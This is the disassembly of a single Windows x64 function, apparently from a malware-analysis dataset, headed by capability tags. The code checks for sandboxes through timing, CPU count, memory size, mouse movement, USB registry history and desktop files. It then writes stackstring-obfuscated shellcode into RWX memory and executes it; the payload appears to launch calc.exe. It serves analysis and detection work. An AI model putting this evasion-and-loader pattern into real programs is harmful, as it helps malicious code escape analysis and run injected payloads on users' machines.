Function at 0x14000be00
Capabilities:
Allocate or change rwx memory
Check for unmoving mouse cursor
Check if file exists
Contain obfuscated stackstrings
Execute shellcode via indirect call
Get file attributes
Get memory capacity
Get system information on windows
Query or enumerate registry key
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], r12
mov qword [rax + 0x18], r13
push rbp
push r14
push r15
lea rbp, [rax - 0x178]
sub rsp, 0x260
movaps xmmword [rax - 0x28], xmm6
movaps xmmword [rax - 0x38], xmm7
mov rax, qword [0x140025028]
xor rax, rsp
mov qword [rbp + 0x138], rax
xor r14d, r14d
call fcn.14000aa90
test eax, eax
je 0x14000be67
lea r9d, [r14 + 0x20]
xor ecx, ecx
lea r8, str.WARNING
lea rdx, str.this_is_in_sanbox__
call qword [sym.imp.USER32.dll_MessageBoxA]
mov r14d, 1
call fcn.14000ac70
test eax, eax
je 0x14000be92
mov r9d, 0x20
lea r8, str.WARNING
lea rdx, str.Time_is_speed_up__this_is_sanbox__
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov r14d, 1
xorps xmm0, xmm0
lea rcx, [rbp + 0xf0]
movups xmmword [rbp + 0xf0], xmm0
movups xmmword [rbp + 0x100], xmm0
movups xmmword [rbp + 0x110], xmm0
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp dword [rbp + 0x110], 2
jae 0x14000bee2
mov r9d, 0x20
lea r8, str.WARNING
lea rdx, [0x14001dd68]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov r14d, 1
lea rcx, [rbp + 0xf0]
mov dword [rbp + 0xf0], 0x40
call qword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov rax, qword [rbp + 0xf8]
shr rax, 0x1e
cmp eax, 2
ja 0x14000bf2b
mov r9d, 0x20
lea r8, str.WARNING
lea rdx, [0x14001dda8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov r14d, 1
call fcn.14000b380
test eax, eax
je 0x14000bf56
mov r9d, 0x20
lea r8, str.WARNING
lea rdx, [0x14001ddd8]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov r14d, 1
lea rcx, [rbp + 0x130]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0xe8]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov ecx, 0x12c
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0xe0]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov rbx, qword [rbp + 0x130]
mov eax, dword [rbp + 0xe8]
mov r12, rbx
mov r13, qword [rbp + 0xe8]
sub eax, ebx
shr r13, 0x20
shr r12, 0x20
movd xmm0, eax
mov eax, r13d
sub eax, r12d
cvtdq2pd xmm0, xmm0
movd xmm1, eax
cvtdq2pd xmm1, xmm1
mulsd xmm0, xmm0
mulsd xmm1, xmm1
addsd xmm1, xmm0
xorps xmm0, xmm0
ucomisd xmm0, xmm1
ja 0x14000bfe5
sqrtpd xmm7, xmm1
jmp 0x14000bff0
movaps xmm0, xmm1
call sub.api_ms_win_crt_math_l1_1_0.dll_sqrt
movaps xmm7, xmm0
mov eax, dword [rbp + 0xe0]
xorps xmm0, xmm0
sub eax, dword [rbp + 0xe8]
mov r15, qword [rbp + 0xe0]
shr r15, 0x20
movd xmm1, eax
mov eax, r15d
sub eax, r13d
cvtdq2pd xmm1, xmm1
movd xmm2, eax
cvtdq2pd xmm2, xmm2
mulsd xmm1, xmm1
mulsd xmm2, xmm2
addsd xmm2, xmm1
ucomisd xmm0, xmm2
ja 0x14000c038
sqrtpd xmm6, xmm2
jmp 0x14000c043
movaps xmm0, xmm2
call sub.api_ms_win_crt_math_l1_1_0.dll_sqrt
movaps xmm6, xmm0
sub ebx, dword [rbp + 0xe0]
sub r12d, r15d
xorps xmm0, xmm0
movd xmm1, ebx
movd xmm2, r12d
cvtdq2pd xmm2, xmm2
cvtdq2pd xmm1, xmm1
mulsd xmm2, xmm2
mulsd xmm1, xmm1
addsd xmm2, xmm1
ucomisd xmm0, xmm2
ja 0x14000c078
sqrtpd xmm0, xmm2
jmp 0x14000c080
movaps xmm0, xmm2
call sub.api_ms_win_crt_math_l1_1_0.dll_sqrt
movaps xmm1, xmm6
addsd xmm1, xmm7
comisd xmm1, xmm0
jbe 0x14000c0a4
movaps xmm1, xmm0
addsd xmm1, xmm6
comisd xmm1, xmm7
jbe 0x14000c0a4
addsd xmm0, xmm7
comisd xmm0, xmm6
ja 0x14000c0c6
mov r9d, 0x20
lea r8, str.WARNING
lea rdx, [0x14001de08]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov r14d, 1
xor ebx, ebx
lea rax, [rbp + 0xe0]
mov r9d, 0x20019
mov qword [rbp + 0xe0], rbx
xor r8d, r8d
mov dword [rbp + 0xe8], ebx
lea rdx, str.SYSTEMControlSet001EnumUSBSTOR
mov qword [rsp + 0x20], rax
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x14000c113
mov r8d, eax
lea rcx, str._n_t____RegOpenKeyExA_Failed_With_Error_:__d__0x_0.8X__n
mov edx, eax
call fcn.140001080
mov rcx, qword [rbp + 0xe0]
lea rax, [rbp + 0xe8]
mov qword [rsp + 0x58], rbx
xor r9d, r9d
mov qword [rsp + 0x50], rbx
xor r8d, r8d
mov qword [rsp + 0x48], rbx
xor edx, edx
mov qword [rsp + 0x40], rbx
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
test eax, eax
je 0x14000c16c
mov r8d, eax
lea rcx, str._n_t____RegQueryInfoKeyA_Failed_With_Error_:__d__0x_0.8X__n
mov edx, eax
call fcn.140001080
cmp dword [rbp + 0xe8], 2
jae 0x14000c197
mov r9d, 0x20
lea r8, str.WARNING
lea rdx, [0x14001de40]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov r14d, 1
xorps xmm0, xmm0
lea rdx, str.C:UsersPublicDesktop_
xorps xmm1, xmm1
lea rcx, [rbp + 0xf0]
mov r8d, 0x20
movups xmmword [rbp + 0xf0], xmm0
movdqu xmmword [rbp + 0x100], xmm1
call fcn.140010240
cmp qword [rbp + 0x108], 0x10
lea rcx, [rbp + 0xf0]
cmovae rcx, qword [rbp + 0xf0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov rdx, qword [rbp + 0x108]
cmp eax, 0xffffffff
jne 0x14000c248
cmp rdx, 0x10
jb 0x14000c224
mov rcx, qword [rbp + 0xf0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c21f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000c279
call fcn.14001ac24
mov r9d, 0x20
lea r8, str.WARNING
lea rdx, [0x14001de80]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov r14d, 1
jmp 0x14000c285
cmp rdx, 0x10
jb 0x14000c285
mov rcx, qword [rbp + 0xf0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c280
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c280
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14001ac24
call fcn.14000b950
test al, al
je 0x14000c2ac
mov r9d, 0x20
lea r8, str.WARNING
lea rdx, str.envrionment_like_sanbox
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
jmp 0x14000c2b1
test r14d, r14d
je 0x14000c2ba
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov dword [rsp + 0x60], 0xec8148
mov dword [rsp + 0x64], 0x65000001
mov dword [rsp + 0x68], 0x25048b48
mov dword [rsp + 0x6c], 0x60
mov dword [rsp + 0x70], 0x18408b48
mov dword [rsp + 0x74], 0x30408b48
mov dword [rsp + 0x78], 0x10708b48
mov dword [rsp + 0x7c], 0x40588b48
mov dword [rbp - 0x80], 0x81008b48
mov dword [rbp - 0x7c], 0x330c7b
mov dword [rbp - 0x78], 0xec750032
mov dword [rbp - 0x74], 0x48ce8b48
mov dword [rbp - 0x70], 0x7432c2c7
mov dword [rbp - 0x6c], 0xc0e80c91
mov dword [rbp - 0x68], 0x4c000000
mov dword [rbp - 0x64], 0xc748f08b
mov dword [rbp - 0x60], 0x6c6cc3
mov dword [rbp - 0x5c], 0xbb485300
mov dword [rbp - 0x58], 0x72657375
mov dword [rbp - 0x54], 0x642e3233
mov dword [rbp - 0x50], 0xcc8b4853
mov dword [rbp - 0x4c], 0x18ec8348
mov dword [rbp - 0x48], 0x48d6ff41
mov dword [rbp - 0x44], 0x8b48d88b
mov dword [rbp - 0x40], 0xc2c748cb
mov dword [rbp - 0x3c], 0x1e380a6a
mov dword [rbp - 0x38], 0x8ee8
mov dword [rbp - 0x34], 0xf08b4c00
mov dword [rbp - 0x30], 0x4dc9334d
mov dword [rbp - 0x2c], 0x3348c033
mov dword [rbp - 0x28], 0xc93348d2
mov dword [rbp - 0x24], 0x48d6ff41
mov dword [rbp - 0x20], 0xc748ce8b
mov dword [rbp - 0x1c], 0xa22f51c2
mov dword [rbp - 0x18], 0x6de801
mov dword [rbp - 0x14], 0x8b4c0000
mov dword [rbp - 0x10], 0xc03348f0
mov dword [rbp - 0xc], 0x63b84850
mov dword [rbp - 8], 0x2e636c61
mov dword [rbp - 4], 0x50657865
mov dword [rbp], 0x48cc8b48
mov dword [rbp + 4], 0x4820ec83
mov dword [rbp + 8], 0x1c2c7
mov dword [rbp + 0xc], 0xff410000
mov dword [rbp + 0x10], 0xce8b48d6
mov dword [rbp + 0x14], 0xdf85ba48
mov dword [rbp + 0x18], 0xbbaf
mov dword [rbp + 0x1c], 0x38e80000
mov dword [rbp + 0x20], 0x4c000000
mov dword [rbp + 0x24], 0xc748f08b
mov dword [rbp + 0x28], 0x6461c0
mov dword [rbp + 0x2c], 0xb8485000
mov dword [rbp + 0x30], 0x74697845
mov dword [rbp + 0x34], 0x65726854
mov dword [rbp + 0x38], 0xce8b4850
mov dword [rbp + 0x3c], 0x48d48b48
mov dword [rbp + 0x40], 0x4120ec83
mov dword [rbp + 0x44], 0x8b4cd6ff
mov dword [rbp + 0x48], 0xc48148f0
mov dword [rbp + 0x4c], 0x188
mov dword [rbp + 0x50], 0x18ec8348
mov dword [rbp + 0x54], 0x41c93348
mov dword [rbp + 0x58], 0x48c3d6ff
mov dword [rbp + 0x5c], 0x5640ec83
mov dword [rbp + 0x60], 0x48fa8b48
mov dword [rbp + 0x64], 0x8b48d98b
mov dword [rbp + 0x68], 0x8b483c73
mov dword [rbp + 0x6c], 0xe0c148c6
mov dword [rbp + 0x70], 0xe8c14836
mov dword [rbp + 0x74], 0xb48b4836
mov dword [rbp + 0x78], 0x8803
mov dword [rbp + 0x7c], 0xe6c14800
mov dword [rbp + 0x80], 0xeec14820
mov dword [rbp + 0x84], 0xf3034820
mov dword [rbp + 0x88], 0x20768b56
mov dword [rbp + 0x8c], 0x48f30348
mov dword [rbp + 0x90], 0xc9ffc933
mov dword [rbp + 0x94], 0x48adc1ff
mov dword [rbp + 0x98], 0xd233c303
mov dword [rbp + 0x9c], 0x74003880
mov dword [rbp + 0xa0], 0x7cac10f
xor ecx, ecx
mov dword [rbp + 0xa4], 0x8be0f51
mov edx, 0x171
mov dword [rbp + 0xa8], 0x4859d103
mov r8d, 0x1000
mov dword [rbp + 0xac], 0xecebc0ff
mov dword [rbp + 0xb0], 0xe075d73b
lea r9d, [rcx + 0x40]
mov dword [rbp + 0xb4], 0x24568b5e
mov dword [rbp + 0xb8], 0xfd30348
mov dword [rbp + 0xbc], 0x8b4a0cbf
mov dword [rbp + 0xc0], 0x3481c56
mov dword [rbp + 0xc4], 0x8a048bd3
mov dword [rbp + 0xc8], 0x5ec30348
mov dword [rbp + 0xcc], 0x40c48348
mov byte [rbp + 0xd0], 0xc3
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea rdx, [rsp + 0x60]
mov r8d, 2
mov r9, rax
mov rcx, rax
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x20], xmm0
movups xmmword [rcx - 0x10], xmm1
sub r8, 1
jne 0x14000c5b1
movups xmm0, xmmword [rdx]
movzx eax, word [rdx + 0x70]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmmword [rcx + 0x60], xmm0
mov word [rcx + 0x70], ax
call r9
xor eax, eax
mov rcx, qword [rbp + 0x138]
xor rcx, rsp
call fcn.14001a6e0
lea r11, [rsp + 0x260]
mov rbx, qword [r11 + 0x20]
mov r12, qword [r11 + 0x28]
mov r13, qword [r11 + 0x30]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop rbp
ret